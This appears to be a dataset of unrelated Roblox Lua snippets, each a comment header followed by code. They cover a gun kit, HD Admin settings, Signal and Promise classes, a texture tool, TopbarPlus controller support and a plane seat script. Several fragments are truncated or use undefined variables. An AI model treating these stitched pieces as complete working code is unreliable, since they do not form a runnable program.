2) If the gun already has a brick called "AimPart", move it to where you would like, and make sure it is facing the sight.
If the gun doesn't have a brick called "AimPart", create one and move it where you would like it to be, and make sure
it is facing the sight
3) If the gun already has a brick called "Main", move it to the very front of the gun. If the gun doesn't have a brick
called "Main", create one and move it to the very front of the gun
4) If ReloadAnimation is set to true in the SETTINGS, make sure the gun has at least one brick called "Mag". If
ReloadAnimation is set to false, the gun doesn't need any bricks called "Mag".
5) Open the SETTINGS and edit them however you like
That's it! Only 5 steps! It's not that complicated, just follow the Directions and it should work fine. If you have any questions /
comments / concerns, message me.
______ ______ __ ______ _ ______
/ _/ _/ /_ __/_ _______/ /_ ____ / ____/_ _______(_)___ ____ / / /
/ // / / / / / / / ___/ __ \/ __ \/ /_ / / / / ___/ / __ \/ __ \ / // /
/ // / / / / /_/ / / / /_/ / /_/ / __/ / /_/ (__ ) / /_/ / / / / / // /
/ // / /_/ \__,_/_/ /_.___/\____/_/ \__,_/____/_/\____/_/ /_/ _/ // /
/__/__/ /__/__/
--]]
|
wait(math.random(0, 200) / 200) --This is to prevent more than one Ignore_Model from being created
if _G.Ignore_Code then --If the Ignore_Code already exists, then the script creates the Ignore_Model
--[[
The purpose of this is so that every gun in a game that uses this gun kit will share one Ignore_Model. That way,
bullet trails, bullet holes, and other fake arms will be ignored by the gun which makes the bullets more likely to
hit a character part
--]]
if (not game.Workspace:FindFirstChild("Ignore_Model_".._G.Ignore_Code)) then
local Ignore_Model = Instance.new("Model")
Ignore_Model.Name = "Ignore_Model_".._G.Ignore_Code
Ignore_Model.Parent = game.Workspace
spawn(function()
while true do
Ignore_Model.Parent = game.Workspace
wait(1 / 20)
end
end)
end
script.Parent:WaitForChild("Gun_Main"):WaitForChild("Ignore_Code").Value = _G.Ignore_Code
else
--[[
If there isn't already an Ignore_Code, then this creates one. The purpose of it being random is so that if there is
an Ignore_Model for something else in the game, the script won't end up placing the ignored objects in that Ignore_Model
--]]
_G.Ignore_Code = math.random(1, 1e4)
if (not game.Workspace:FindFirstChild("Ignore_Model_".._G.Ignore_Code)) then
local Ignore_Model = Instance.new("Model")
Ignore_Model.Name = "Ignore_Model_".._G.Ignore_Code
Ignore_Model.Parent = game.Workspace
spawn(function()
while true do
Ignore_Model.Parent = game.Workspace
wait(1 / 20)
end
end)
end
script.Parent:WaitForChild("Gun_Main"):WaitForChild("Ignore_Code").Value = _G.Ignore_Code
end
spawn(function()
repeat wait() until _G.Ignore_Code
local Ignore_Model = game.Workspace:WaitForChild("Ignore_Model_".._G.Ignore_Code)
while true do
for _, Gun_Ignore in pairs(Ignore_Model:GetChildren()) do
if (not game.Players:FindFirstChild(Gun_Ignore.Name:sub(12))) then
Gun_Ignore:Destroy()
end
end
wait(1 / 20)
end
end)
|
--// Renders
|
game:GetService('RunService').Heartbeat:connect(function()
if isHeld and newRope then
if newDir == 'Up' then
newRope.Length = newRope.Length + 0.2
elseif newDir == 'Down' then
newRope.Length = newRope.Length - 0.2
end
end;
end)
|
-- declarations
|
local toolAnim = "None"
local toolAnimTime = 0
local jumpAnimTime = 0
local jumpAnimDuration = 0.175
local toolTransitionTime = 0.1
local fallTransitionTime = 0.2
local jumpMaxLimbVelocity = 0.75
|
--------------| SYSTEM SETTINGS |--------------
|
Prefix = ";"; -- The character you use before every command (e.g. ';jump me').
SplitKey = " "; -- The character inbetween command arguments (e.g. setting it to '/' would change ';jump me' to ';jump/me').
BatchKey = ""; -- The character inbetween batch commands (e.g. setting it to '|' would change ';jump me ;fire me ;smoke me' to ';jump me | ;fire me | ;smoke me'
QualifierBatchKey = ","; -- The character used to split up qualifiers (e.g. ;jump player1,player2,player3)
Theme = "Black"; -- The default UI theme.
NoticeSoundId = 2865227271; -- The SoundId for notices.
NoticeVolume = 0.1; -- The Volume for notices.
NoticePitch = 1; -- The Pitch/PlaybackSpeed for notices.
ErrorSoundId = 2865228021; -- The SoundId for error notifications.
ErrorVolume = 0.1; -- The Volume for error notifications.
ErrorPitch = 1; -- The Pitch/PlaybackSpeed for error notifications.
AlertSoundId = 3140355872; -- The SoundId for alerts.
AlertVolume = 0.5; -- The Volume for alerts.
AlertPitch = 1; -- The Pitch/PlaybackSpeed for alerts.
WelcomeBadgeId = 0; -- Award new players a badge, such as 'Welcome to the game!'. Set to 0 for no badge.
CommandDebounce = true; -- Wait until the command effect is over to use again. Helps to limit abuse & lag. Set to 'false' to disable.
SaveRank = true; -- Saves a player's rank in the server they received it. (e.g. ;rank plrName rank). Use ';permRank plrName rank' to permanently save a rank. Set to 'false' to disable.
LoopCommands = 3; -- The minimum rank required to use LoopCommands.
MusicList = {505757009,}; -- Songs which automatically appear in a user's radio. Type '!radio' to display the radio.
ThemeColors = { -- The colours players can set their HD Admin UI (in the 'Settings' menu). | Format: {ThemeName, ThemeColor3Value};
{"Red", Color3.fromRGB(150, 0, 0), };
{"Orange", Color3.fromRGB(150, 75, 0), };
{"Brown", Color3.fromRGB(120, 80, 30), };
{"Yellow", Color3.fromRGB(130, 120, 0), };
{"Green", Color3.fromRGB(0, 120, 0), };
{"Blue", Color3.fromRGB(0, 100, 150), };
{"Purple", Color3.fromRGB(100, 0, 150), };
{"Pink", Color3.fromRGB(150, 0, 100), };
{"Black", Color3.fromRGB(60, 60, 60), };
};
Colors = { -- The colours for ChatColors and command arguments. | Format: {"ShortName", "FullName", Color3Value};
{"r", "Red", Color3.fromRGB(255, 0, 0) };
{"o", "Orange", Color3.fromRGB(250, 100, 0) };
{"y", "Yellow", Color3.fromRGB(255, 255, 0) };
{"g", "Green" , Color3.fromRGB(0, 255, 0) };
{"dg", "DarkGreen" , Color3.fromRGB(0, 125, 0) };
{"b", "Blue", Color3.fromRGB(0, 255, 255) };
{"db", "DarkBlue", Color3.fromRGB(0, 50, 255) };
{"p", "Purple", Color3.fromRGB(150, 0, 255) };
{"pk", "Pink", Color3.fromRGB(255, 85, 185) };
{"bk", "Black", Color3.fromRGB(0, 0, 0) };
{"w", "White", Color3.fromRGB(255, 255, 255) };
};
ChatColors = { -- The colour a player's chat will appear depending on their rank. '["Owner"] = "Yellow";' makes the owner's chat yellow.
[5] = "Yellow";
};
Cmdbar = 1; -- The minimum rank required to use the Cmdbar.
Cmdbar2 = 3; -- The minimum rank required to use the Cmdbar2.
ViewBanland = 3; -- The minimum rank required to view the banland.
OnlyShowUsableCommands = false; -- Only display commands equal to or below the user's rank on the Commands page.
RankRequiredToViewPage = { -- || The pages on the main menu ||
["Commands"] = 0;
["Admin"] = 0;
["Settings"] = 0;
};
RankRequiredToViewRank = { -- || The rank categories on the 'Ranks' subPage under Admin ||
["Owner"] = 0;
["HeadAdmin"] = 0;
["Admin"] = 0;
["Mod"] = 0;
["VIP"] = 0;
};
RankRequiredToViewRankType = { -- || The collection of loader-rank-rewarders on the 'Ranks' subPage under Admin ||
["Owner"] = 0;
["SpecificUsers"] = 5;
["Gamepasses"] = 0;
["Assets"] = 0;
["Groups"] = 0;
["Friends"] = 0;
["FreeAdmin"] = 0;
["VipServerOwner"] = 0;
};
RankRequiredToViewIcon = 0;
WelcomeRankNotice = true; -- The 'You're a [rankName]' notice that appears when you join the game. Set to false to disable.
WelcomeDonorNotice = true; -- The 'You're a Donor' notice that appears when you join the game. Set to false to disable.
WarnIncorrectPrefix = true; -- Warn the user if using the wrong prefix | "Invalid prefix! Try using [correctPrefix][commandName] instead!"
DisableAllNotices = false; -- Set to true to disable all HD Admin notices.
ScaleLimit = 4; -- The maximum size players with a rank lower than 'IgnoreScaleLimit' can scale theirself. For example, players will be limited to ;size me 4 (if limit is 4) - any number above is blocked.
IgnoreScaleLimit = 3; -- Any ranks equal or above this value will ignore 'ScaleLimit'
CommandLimits = { -- Enables you to set limits for commands which have a number argument. Ranks equal to or higher than 'IgnoreLimit' will not be affected by Limit.
["fly"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["fly2"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["noclip"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["noclip2"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["speed"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["jumpPower"] = {
Limit = 10000;
IgnoreLimit = 3;
};
};
VIPServerCommandBlacklist = {"permRank", "permBan", "globalAnnouncement"}; -- Commands players are probihited from using in VIP Servers.
GearBlacklist = {67798397}; -- The IDs of gear items to block when using the ;gear command.
IgnoreGearBlacklist = 4; -- The minimum rank required to ignore the gear blacklist.
PlayerDataStoreVersion = "V1.0"; -- Data about the player (i.e. permRanks, custom settings, etc). Changing the Version name will reset all PlayerData.
SystemDataStoreVersion = "V1.0"; -- Data about the game (i.e. the banland, universal message system, etc). Changing the Version name will reset all SystemData.
CoreNotices = { -- Modify core notices. You can find a table of all CoreNotices under [MainModule > Client > SharedModules > CoreNotices]
--NoticeName = NoticeDetails;
};
|
--!
|
brick = script.Parent
cd = button.ClickDetector
function onMouseClick(player)
if not player then return end
end
cd.MouseClick:connect(onMouseClick)
|
--[=[
Constructs a new LinearValue object.
@param constructor (number ...) -> T
@param values ({ number })
@return LinearValue<T>
]=]
|
function LinearValue.new(constructor, values)
return setmetatable({
_constructor = constructor;
_values = values;
}, LinearValue)
end
|
---Variables
|
local Car = script.Parent.Parent.Model
local CarStats = script.Parent.Parent.Stats
local LightsSpeed = 0.4
|
-- This value is exposed as a private value so that the test code can stay in
-- sync with what event we listen to for dispatching the Changed event.
-- It may not be Heartbeat in the future.
|
Store._flushEvent = RunService.Heartbeat
Store.__index = Store
|
-- Signal class
|
local Signal = {}
Signal.__index = Signal
function Signal.new()
return setmetatable({_handlerListHead = false}, Signal)
end
function Signal:Connect(fn)
local connection = Connection.new(self, fn)
connection._next = (self._handlerListHead and self._handlerListHead) or connection._next
self._handlerListHead = connection
return connection
end
function Signal:Fire(...)
local item = self._handlerListHead
while item do
if item._connected then
if not freeRunnerThread then
freeRunnerThread = coroutine.create(function(...)
acquireRunnerThreadAndCallEventHandler(...)
while true do
acquireRunnerThreadAndCallEventHandler(coroutine.yield())
end
end)
end
task.spawn(freeRunnerThread, item._fn, ...)
end
item = item._next
end
end
function Signal:Wait()
local waitingcoroutine = coroutine.running()
local connect;
connect = self:Connect(function(...)
connect:Disconnect()
task.spawn(waitingcoroutine, ...)
end)
return coroutine.yield()
end
return Signal
|
-- The second for loop closes the door, so whatever you do to the top you'll have to do to the bottom.
-- The vector3 value has to be a minus number for it to go back, it moves 0.1 studs, therefore it must move
-- 0.1 studs back for it to close again. So 0.1 on first = -0.1 on second and the same goes for any number.
|
end
script.Parent.ClickDetector.MouseClick:connect(OnClick)
|
--Plot Current Electric Horsepower
|
function GetECurve(x,gear)
local hp=(math.max(elecHP(x),0))*100
local tq=(math.max(elecTQ(x),0))*100
if gear~=0 then
return hp,math.max(tq*_Tune.Ratios[gear+2]*fFD*hpScaling,0)
else
return 0,0
end
end
|
--[[
Constructs a new Promise with the given initializing callback.
This is generally only called when directly wrapping a non-promise API into
a promise-based version.
The callback will receive 'resolve' and 'reject' methods, used to start
invoking the promise chain.
For example:
local function get(url)
return Promise.new(function(resolve, reject)
spawn(function()
resolve(HttpService:GetAsync(url))
end)
end)
end
get("https://google.com")
:andThen(function(stuff)
print("Got some stuff!", stuff)
end)
Second parameter, parent, is used internally for tracking the "parent" in a
promise chain. External code shouldn't need to worry about this.
]]
|
function Promise.new(callback, parent)
if parent ~= nil and not Promise.is(parent) then
error("Argument #2 to Promise.new must be a promise or nil", 2)
end
local self = {
-- Used to locate where a promise was created
_source = debug.traceback(),
-- A tag to identify us as a promise
[PromiseMarker] = true,
_status = Promise.Status.Started,
-- A table containing a list of all results, whether success or failure.
-- Only valid if _status is set to something besides Started
_values = nil,
-- Lua doesn't like sparse arrays very much, so we explicitly store the
-- length of _values to handle middle nils.
_valuesLength = -1,
-- Tracks if this Promise has no error observers..
_unhandledRejection = true,
-- Queues representing functions we should invoke when we update!
_queuedResolve = {},
_queuedReject = {},
_queuedFinally = {},
-- The function to run when/if this promise is cancelled.
_cancellationHook = nil,
-- The "parent" of this promise in a promise chain. Required for
-- cancellation propagation.
_parent = parent,
_consumers = setmetatable({}, {
__mode = "k";
}),
}
if parent and parent._status == Promise.Status.Started then
parent._consumers[self] = true
end
setmetatable(self, Promise)
local function resolve(...)
self:_resolve(...)
end
local function reject(...)
self:_reject(...)
end
local function onCancel(cancellationHook)
if cancellationHook then
if self._status == Promise.Status.Cancelled then
cancellationHook()
else
self._cancellationHook = cancellationHook
end
end
return self._status == Promise.Status.Cancelled
end
local _, result = wpcallPacked(callback, resolve, reject, onCancel)
local ok = result[1]
local err = result[2]
if not ok and self._status == Promise.Status.Started then
reject(err)
end
return self
end
|
-- Clamp a number between low and high:
|
local function Clamp(n, low, high)
return (n < low and low or n > high and high or n)
end
|
----
----
|
if hit.Parent:findFirstChild("Humanoid") ~= nil then
local target1 = "UpperTorso"
local target2 = "UpperTorso2"
if hit.Parent:findFirstChild(target2) == nil then
local g = script.Parent.Parent[target2]:clone()
g.Parent = hit.Parent
local C = g:GetChildren()
for i=1, #C do
if C[i].className == "UnionOperation" or C[i].className =="Part" or C[i].className == "WedgePart" or C[i].className == "MeshPart" then
local W = Instance.new("Weld")
W.Part0 = g.Middle
W.Part1 = C[i]
local CJ = CFrame.new(g.Middle.Position)
local C0 = g.Middle.CFrame:inverse()*CJ
local C1 = C[i].CFrame:inverse()*CJ
W.C0 = C0
W.C1 = C1
W.Parent = g.Middle
end
local Y = Instance.new("Weld")
Y.Part0 = hit.Parent[target1]
Y.Part1 = g.Middle
Y.C0 = CFrame.new(0, -0.5, 0)
Y.Parent = Y.Part0
end
local h = g:GetChildren()
for i = 1, # h do
h[i].Anchored = false
h[i].CanCollide = false
end
end
end
|
-- declarations
|
local Figure = script.Parent
local Torso = waitForChild(Figure, "Torso")
local RightShoulder = waitForChild(Torso, "Right Shoulder")
local LeftShoulder = waitForChild(Torso, "Left Shoulder")
local RightHip = waitForChild(Torso, "Right Hip")
local LeftHip = waitForChild(Torso, "Left Hip")
local Neck = waitForChild(Torso, "Neck")
local Humanoid = waitForChild(Figure, "Humanoid")
local pose = "Standing"
local toolAnim = "None"
local toolAnimTime = 0
local isSeated = false
|
--// Ammo Settings
|
Ammo = 30;
StoredAmmo = 30;
MagCount = math.huge; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge;
ExplosiveAmmo = 10;
|
-----------------------------------------------------------------------------------
|
function CheckPlayer(Player) --This function checks the player
if Customize.GroupSpecific.Value then --If the GroupSpecific value is true...
if (not Player:IsInGroup(Customize.GroupSpecific.GroupID.Value)) then --If the player is not part of the group...
return false
end
end
return true
end
function CreateWarning(Player)
local RbxGui = assert(LoadLibrary("RbxGui"))
local Screen = Instance.new("ScreenGui")
Screen.Name = "NotInGroupGui"
local Gui = RbxGui.CreateStyledMessageDialog(
"You are not in this plane's group!",
Player.Name..", you are not a part of the group that this plane is in! Please exit the plane!",
"Confirm",
{
{
Text = "OK";
Function = function()
if Screen.Parent then
local MessageDialog = Screen:findFirstChild("MessageDialog")
if MessageDialog then
MessageDialog:TweenPosition(UDim2.new(0.25,0,0,-165),"In","Back",0.7,true)
end
wait(0.7)
Screen:Destroy()
end
end
}
}
)
Gui.Parent = Screen
Screen.Parent = Player.PlayerGui
return Screen
end
function GivePlaneTool(Child) --This function puts the tool in the player by using the "SeatWeld"
if Child.Name == "SeatWeld" then
Player = game.Players:GetPlayerFromCharacter(Child.Part1.Parent) --This gets the Player
if Player then
local Check = CheckPlayer(Player)
if Check then
PlaneMain.Parent = Player.Character --This makes the plane a part of the Player's Character
Plane = PlaneTool:clone()
Plane.Parent = Player.Backpack
Plane.Main.Disabled = false --This undisables the Main script in the Tool, but the tool also has a fail safe
else
if Customize.GroupSpecific.KillOnEnter.Value then
wait(0.1)
if Player.Character then
Player.Character.Humanoid.Health = 0
end
else
local Gui = CreateWarning(Player)
delay(7,function()
if Gui.Parent then
local MessageDialog = Gui:findFirstChild("MessageDialog")
if MessageDialog then
MessageDialog:TweenPosition(UDim2.new(0.25,0,0,-165),"In","Back",0.7,true)
end
wait(0.7)
Gui:Destroy()
end
end)
end
end
end
end
end
function RemovePlaneTool(Child) --This function removes the tool
if Child.Name == "SeatWeld" then
if Player and Player.PlayerGui:findFirstChild("NotInGroupGui") then
Player.PlayerGui["NotInGroupGui"]:Destroy()
end
if Plane then
Plane.Deselect0.Value = Plane.ToolSelect.Value --This makes the Deselect0 value on the plane tool true, which forces deselection
wait(0.01) --This gives the tool enough time to activate the function
Plane:remove() --This removes the plane tool
if Player.Character.Humanoid.Health <= 0 then --If the Player dies...
PlaneMain:BreakJoints() --These 3 lines break the plane and remove it after 5 seconds
Crashed.Value = true
delay(5,function() PlaneMain:Destroy() end)
elseif Player.Character.Humanoid.Health > 0 then --If you just jump out of the seat without deselecting the tool...
PlaneMain.Parent = Origin.Value --This puts the plane back into the Planekit folder
end
end
end
end
Seat.ChildAdded:connect(GivePlaneTool) --This activates the "GivePlaneTool" function when you sit on the seat
Seat.ChildRemoved:connect(RemovePlaneTool) --This activates the "RemovePlaneTool" function when you get off the seat
|
--- This will cause a brick to go in motion unanchored or not! ---
|
while true do
wait(0)
for i= 1, 100 do
script.Parent.CFrame = script.Parent.CFrame * CFrame.new(0,0,-0.3)
wait()
end
end
|
--// Events
|
local L_83_ = L_19_:WaitForChild('Equipped')
local L_84_ = L_19_:WaitForChild('ShootEvent')
local L_85_ = L_19_:WaitForChild('DamageEvent')
local L_86_ = L_19_:WaitForChild('CreateOwner')
local L_87_ = L_19_:WaitForChild('Stance')
local L_88_ = L_19_:WaitForChild('HitEvent')
local L_89_ = L_19_:WaitForChild('KillEvent')
local L_90_ = L_19_:WaitForChild('AimEvent')
local L_91_ = L_19_:WaitForChild('ExploEvent')
|
-- Current UI layout
|
local CurrentLayout;
function ChangeLayout(Layout)
-- Sets the UI to the given layout
-- Make sure the new layout isn't already set
if CurrentLayout == Layout then
return;
end;
-- Set this as the current layout
CurrentLayout = Layout;
-- Reset the UI
for _, ElementName in pairs(UIElements) do
local Element = UI[ElementName];
Element.Visible = false;
end;
-- Keep track of the total vertical extents of all items
local Sum = 0;
-- Go through each layout element
for ItemIndex, ItemName in ipairs(Layout) do
local Item = UI[ItemName];
-- Make the item visible
Item.Visible = true;
-- Position this item underneath the past items
Item.Position = UDim2.new(0, 0, 0, 20) + UDim2.new(
Item.Position.X.Scale,
Item.Position.X.Offset,
0,
Sum + 10
);
-- Update the sum of item heights
Sum = Sum + 10 + Item.AbsoluteSize.Y;
end;
-- Resize the container to fit the new layout
UI.Size = UDim2.new(0, 200, 0, 30 + Sum);
end;
function UpdateUI()
-- Updates information on the UI
-- Make sure the UI's on
if not UI then
return;
end;
-- Get the textures in the selection
local Textures = GetTextures(TextureTool.Type, TextureTool.Face);
-- References to UI elements
local ImageIdInput = UI.ImageIDOption.TextBox;
local TransparencyInput = UI.TransparencyOption.Input.TextBox;
-----------------------
-- Update the UI layout
-----------------------
-- Get the plural version of the current texture type
local PluralTextureType = TextureTool.Type .. 's';
-- Figure out the necessary UI layout
if #Selection.Items == 0 then
ChangeLayout(Layouts.EmptySelection);
return;
-- When the selection has no textures
elseif #Textures == 0 then
ChangeLayout(Layouts.NoTextures);
return;
-- When only some selected items have textures
elseif #Selection.Items ~= #Textures then
ChangeLayout(Layouts['Some' .. PluralTextureType]);
-- When all selected items have textures
elseif #Selection.Items == #Textures then
ChangeLayout(Layouts['All' .. PluralTextureType]);
end;
------------------------
-- Update UI information
------------------------
-- Get the common properties
local ImageId = Support.IdentifyCommonProperty(Textures, 'Texture');
local Transparency = Support.IdentifyCommonProperty(Textures, 'Transparency');
-- Update the common inputs
UpdateDataInputs {
[ImageIdInput] = ImageId and ParseAssetId(ImageId) or ImageId or '*';
[TransparencyInput] = Transparency and Support.Round(Transparency, 3) or '*';
};
-- Update texture-specific information on UI
if TextureTool.Type == 'Texture' then
-- Get texture-specific UI elements
local RepeatXInput = UI.RepeatOption.XInput.TextBox;
local RepeatYInput = UI.RepeatOption.YInput.TextBox;
-- Get texture-specific common properties
local RepeatX = Support.IdentifyCommonProperty(Textures, 'StudsPerTileU');
local RepeatY = Support.IdentifyCommonProperty(Textures, 'StudsPerTileV');
-- Update inputs
UpdateDataInputs {
[RepeatXInput] = RepeatX and Support.Round(RepeatX, 3) or '*';
[RepeatYInput] = RepeatY and Support.Round(RepeatY, 3) or '*';
};
end;
end;
function UpdateDataInputs(Data)
-- Updates the data in the given TextBoxes when the user isn't typing in them
-- Go through the inputs and data
for Input, UpdatedValue in pairs(Data) do
-- Makwe sure the user isn't typing into the input
if not Input:IsFocused() then
-- Set the input's value
Input.Text = tostring(UpdatedValue);
end;
end;
end;
function ParseAssetId(Input)
-- Returns the intended asset ID for the given input
-- Get the ID number from the input
local Id = tonumber(Input)
or tonumber(Input:lower():match('%?id=([0-9]+)'))
or tonumber(Input:match('/([0-9]+)/'))
or tonumber(Input:lower():match('rbxassetid://([0-9]+)'));
-- Return the ID
return Id;
end;
function SetFace(Face)
-- Update the tool option
TextureTool.Face = Face;
-- Update the UI
FaceDropdown.SetOption(Face and Face.Name or '*');
end;
function SetTextureType(TextureType)
-- Update the tool option
TextureTool.Type = TextureType;
-- Update the UI
Core.ToggleSwitch(TextureType, UI.ModeOption);
UI.AddButton.Button.Text = 'ADD ' .. TextureType:upper();
UI.RemoveButton.Button.Text = 'REMOVE ' .. TextureType:upper();
end;
function SetProperty(TextureType, Face, Property, Value)
-- Make sure the given value is valid
if not Value then
return;
end;
-- Start a history record
TrackChange();
-- Go through each texture
for _, Texture in pairs(GetTextures(TextureType, Face)) do
-- Store the state of the texture before modification
table.insert(HistoryRecord.Before, { Part = Texture.Parent, TextureType = TextureType, Face = Face, [Property] = Texture[Property] });
-- Create the change request for this texture
table.insert(HistoryRecord.After, { Part = Texture.Parent, TextureType = TextureType, Face = Face, [Property] = Value });
end;
-- Register the changes
RegisterChange();
end;
function SetTextureId(TextureType, Face, AssetId)
-- Sets the textures in the selection to the intended, given image asset
-- Make sure the given asset ID is valid
if not AssetId then
return;
end;
-- Prepare the change request
local Changes = {
Texture = 'rbxassetid://' .. AssetId;
};
-- Attempt an image extraction on the given asset
Core.Try(Core.SyncAPI.Invoke, Core.SyncAPI, 'ExtractImageFromDecal', AssetId)
:Then(function (ExtractedImage)
Changes.Texture = 'rbxassetid://' .. ExtractedImage;
end);
-- Start a history record
TrackChange();
-- Go through each texture
for _, Texture in pairs(GetTextures(TextureType, Face)) do
-- Create the history change requests for this texture
local Before, After = { Part = Texture.Parent, TextureType = TextureType, Face = Face }, { Part = Texture.Parent, TextureType = TextureType, Face = Face };
-- Gather change information to finish up the history change requests
for Property, Value in pairs(Changes) do
Before[Property] = Texture[Property];
After[Property] = Value;
end;
-- Store the state of the texture before modification
table.insert(HistoryRecord.Before, Before);
-- Create the change request for this texture
table.insert(HistoryRecord.After, After);
end;
-- Register the changes
RegisterChange();
end;
function AddTextures(TextureType, Face)
-- Prepare the change request for the server
local Changes = {};
-- Go through the selection
for _, Part in pairs(Selection.Items) do
-- Make sure this part doesn't already have a texture of the same type
local HasTextures;
for _, Child in pairs(Part:GetChildren()) do
if Child.ClassName == TextureType and Child.Face == Face then
HasTextures = true;
end;
end;
-- Queue a texture to be created for this part, if not already existent
if not HasTextures then
table.insert(Changes, { Part = Part, TextureType = TextureType, Face = Face });
end;
end;
-- Send the change request to the server
local Textures = Core.SyncAPI:Invoke('CreateTextures', Changes);
-- Put together the history record
local HistoryRecord = {
Textures = Textures;
Unapply = function (HistoryRecord)
-- Reverts this change
-- Select changed parts
Selection.Replace(Support.GetListMembers(HistoryRecord.Textures, 'Parent'));
-- Remove the textures
Core.SyncAPI:Invoke('Remove', HistoryRecord.Textures);
end;
Apply = function (HistoryRecord)
-- Reapplies this change
-- Restore the textures
Core.SyncAPI:Invoke('UndoRemove', HistoryRecord.Textures);
-- Select changed parts
Selection.Replace(Support.GetListMembers(HistoryRecord.Textures, 'Parent'));
end;
};
-- Register the history record
Core.History.Add(HistoryRecord);
end;
function RemoveTextures(TextureType, Face)
-- Get all the textures in the selection
local Textures = GetTextures(TextureType, Face);
-- Create the history record
local HistoryRecord = {
Textures = Textures;
Unapply = function (HistoryRecord)
-- Reverts this change
-- Restore the textures
Core.SyncAPI:Invoke('UndoRemove', HistoryRecord.Textures);
-- Select changed parts
Selection.Replace(Support.GetListMembers(HistoryRecord.Textures, 'Parent'));
end;
Apply = function (HistoryRecord)
-- Reapplies this change
-- Select changed parts
Selection.Replace(Support.GetListMembers(HistoryRecord.Textures, 'Parent'));
-- Remove the textures
Core.SyncAPI:Invoke('Remove', HistoryRecord.Textures);
end;
};
-- Send the removal request
Core.SyncAPI:Invoke('Remove', Textures);
-- Register the history record
Core.History.Add(HistoryRecord);
end;
function TrackChange()
-- Start the record
HistoryRecord = {
Before = {};
After = {};
Unapply = function (Record)
-- Reverts this change
-- Select the changed parts
Selection.Replace(Support.GetListMembers(Record.Before, 'Part'));
-- Send the change request
Core.SyncAPI:Invoke('SyncTexture', Record.Before);
end;
Apply = function (Record)
-- Applies this change
-- Select the changed parts
Selection.Replace(Support.GetListMembers(Record.After, 'Part'));
-- Send the change request
Core.SyncAPI:Invoke('SyncTexture', Record.After);
end;
};
end;
function RegisterChange()
-- Finishes creating the history record and registers it
-- Make sure there's an in-progress history record
if not HistoryRecord then
return;
end;
-- Send the change to the server
Core.SyncAPI:Invoke('SyncTexture', HistoryRecord.After);
-- Register the record and clear the staging
Core.History.Add(HistoryRecord);
HistoryRecord = nil;
end;
|
-- BEHAVIOUR
--Controller support
|
coroutine.wrap(function()
-- Create PC 'Enter Controller Mode' Icon
runService.Heartbeat:Wait() -- This is required to prevent an infinite recursion
local Icon = require(iconModule)
local controllerOptionIcon = Icon.new()
:setProperty("internalIcon", true)
:setName("_TopbarControllerOption")
:setOrder(100)
:setImage(11162828670)
:setRight()
:setEnabled(false)
:setTip("Controller mode")
:setProperty("deselectWhenOtherIconSelected", false)
-- This decides what controller widgets and displays to show based upon their connected inputs
-- For example, if on PC with a controller, give the player the option to enable controller mode with a toggle
-- While if using a console (no mouse, but controller) then bypass the toggle and automatically enable controller mode
userInputService:GetPropertyChangedSignal("MouseEnabled"):Connect(IconController._determineControllerDisplay)
userInputService.GamepadConnected:Connect(IconController._determineControllerDisplay)
userInputService.GamepadDisconnected:Connect(IconController._determineControllerDisplay)
IconController._determineControllerDisplay()
-- Enable/Disable Controller Mode when icon clicked
local function iconClicked()
local isSelected = controllerOptionIcon.isSelected
local iconTip = (isSelected and "Normal mode") or "Controller mode"
controllerOptionIcon:setTip(iconTip)
IconController._enableControllerMode(isSelected)
end
controllerOptionIcon.selected:Connect(iconClicked)
controllerOptionIcon.deselected:Connect(iconClicked)
-- Hide/show topbar when indicator action selected in controller mode
userInputService.InputBegan:Connect(function(input,gpe)
if not IconController.controllerModeEnabled then return end
if input.KeyCode == Enum.KeyCode.DPadDown then
if not guiService.SelectedObject and checkTopbarEnabledAccountingForMimic() then
IconController.setTopbarEnabled(true,false)
end
elseif input.KeyCode == Enum.KeyCode.ButtonB and not IconController.disableButtonB then
if IconController.activeButtonBCallbacks == 1 and TopbarPlusGui.Indicator.Image == "rbxassetid://5278151556" then
IconController.activeButtonBCallbacks = 0
guiService.SelectedObject = nil
end
if IconController.activeButtonBCallbacks == 0 then
IconController._previousSelectedObject = guiService.SelectedObject
IconController._setControllerSelectedObject(nil)
IconController.setTopbarEnabled(false,false)
end
end
input:Destroy()
end)
-- Setup overflow icons
for alignment, detail in pairs(alignmentDetails) do
if alignment ~= "mid" then
local overflowName = "_overflowIcon-"..alignment
local overflowIcon = Icon.new()
:setProperty("internalIcon", true)
:setImage(6069276526)
:setName(overflowName)
:setEnabled(false)
detail.overflowIcon = overflowIcon
overflowIcon.accountForWhenDisabled = true
if alignment == "left" then
overflowIcon:setOrder(math.huge)
overflowIcon:setLeft()
overflowIcon:set("dropdownAlignment", "right")
elseif alignment == "right" then
overflowIcon:setOrder(-math.huge)
overflowIcon:setRight()
overflowIcon:set("dropdownAlignment", "left")
end
overflowIcon.lockedSettings = {
["iconImage"] = true,
["order"] = true,
["alignment"] = true,
}
end
end
-- This checks if voice chat is enabled
task.defer(function()
local success, enabledForUser
while true do
success, enabledForUser = pcall(function() return voiceChatService:IsVoiceEnabledForUserIdAsync(localPlayer.UserId) end)
if success then
break
end
task.wait(1)
end
local function checkVoiceChatManuallyEnabled()
if IconController.voiceChatEnabled then
if success and enabledForUser then
voiceChatIsEnabledForUserAndWithinExperience = true
IconController.updateTopbar()
end
end
end
checkVoiceChatManuallyEnabled()
--------------- FEEL FREE TO DELETE THIS IS YOU DO NOT USE VOICE CHAT WITHIN YOUR EXPERIENCE ---------------
localPlayer.PlayerGui:WaitForChild("TopbarPlus", 999)
task.delay(10, function()
checkVoiceChatManuallyEnabled()
if IconController.voiceChatEnabled == nil and success and enabledForUser and isStudio then
warn("⚠️TopbarPlus Action Required⚠️ If VoiceChat is enabled within your experience it's vital you set IconController.voiceChatEnabled to true ``require(game.ReplicatedStorage.Icon.IconController).voiceChatEnabled = true`` otherwise the BETA label will not be accounted for within your live servers. This warning will disappear after doing so. Feel free to delete this warning or to set to false if you don't have VoiceChat enabled within your experience.")
end
end)
------------------------------------------------------------------------------------------------------------
end)
end)()
|
---
|
if script.Parent.Parent.Parent.IsOn.Value then
script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.Parent.IsOn.Value then
